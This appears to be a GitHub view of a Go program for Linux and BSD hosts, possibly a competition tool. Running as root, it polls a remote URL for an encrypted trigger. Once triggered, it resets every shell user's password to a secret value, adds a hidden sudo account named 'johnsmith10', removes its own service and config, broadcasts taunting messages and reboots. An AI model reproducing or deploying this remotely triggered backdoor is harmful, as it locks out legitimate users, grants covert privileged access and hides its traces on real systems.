-
Notifications
You must be signed in to change notification settings - Fork 0
/
linux.go
140 lines (113 loc) · 3.34 KB
/
linux.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
//go:build linux || darwin || freebsd || netbsd || openbsd
package main
import (
"bufio"
"bytes"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"strings"
"time"
)
func main() {
// Verify the program is being run as root
if os.Geteuid() != 0 {
fmt.Println(Red + "Program started with insufficient permissions, please re-run as root." + Reset)
os.Exit(10)
}
// Check for config file
if _, err := os.Stat(LinuxConfigLocation); os.IsNotExist(err) {
fmt.Println("No config file detected.")
fmt.Println("Beginning first time setup...")
LinuxFirstTimeSetup() // Should exit on its own...
os.Exit(0) // (just in case)
}
// Loads & unprotects the config file to MasterConfig
err := LoadStructFromFile(&MasterConfig, LinuxConfigLocation, MasterKey)
handle(err)
for {
resp, err := http.Get(MasterConfig.RepoUrl)
time.Sleep(5 * time.Second) // so we don't get rate limited
if err != nil || resp.StatusCode != 200 {
continue
}
blob, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println(Red+"Error reading response body:", err)
return
}
resp.Body.Close()
// ALL CODE PAST THIS POINT SHOULD ONLY RUN
// IF THE ACTIVATE FILE WAS SUCCESSFULLY READ
// read all user accounts
file, err := os.Open("/etc/passwd")
handle(err)
var userPassPairs []string // store stdin passed to chpasswd command
// decrypt backup password from ACTIVATE file
decryptedBytes, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, &MasterConfig.Protector, blob, nil)
handle(err)
passwd := string(decryptedBytes)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
// ignore comments
if strings.HasPrefix(line, "#") {
continue
}
// Split the line into fields
fields := strings.Split(line, ":")
if len(fields) > 0 {
user := fields[0]
switch fields[6] {
case "/bin/bash", "/bin/sh", "/bin/zsh":
// Append user-password pair for chpasswd
userPassPairs = append(userPassPairs, fmt.Sprintf("%s:%s", user, passwd))
break
default:
continue
}
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Error reading /etc/passwd:", err)
return
}
// Run chpasswd to update passwords
// Join user-password pairs with newlines
input := strings.Join(userPassPairs, "\n")
// Run chpasswd command
cmd := exec.Command("chpasswd")
cmd.Stdin = bytes.NewBufferString(input)
if err := cmd.Run(); err != nil {
log.Fatalf("Failed to change passwords: %v", err)
} else {
log.Println("Passwords changed successfully")
}
// Add one more local sudo user just in case
new_user_cmd := exec.Command("sh", "-c", "useradd -m johnsmith10 && (usermod -aG wheel johnsmith10 || usermod -aG sudo johnsmith10)")
err = new_user_cmd.Run()
handle(err) // shouldn't trigger
// Cleanup (in case we need to re-deploy)
exec.Command("systemctl", "disable", "one.service").Run()
exec.Command("rm", "-f", "/etc/project-one/config.protected").Run()
// :trollskull:
LinuxBroadcast("You really thought you won, huh?")
go func() {
for {
LinuxBroadcast("Sorry, try again! :P")
}
}()
time.Sleep(2500 * time.Millisecond)
LinuxBroadcast(TrollFace)
// reboot to kick out any attackers
time.Sleep(500 * time.Millisecond)
exec.Command("reboot").Run()
os.Exit(0) // should be unreachable
}
}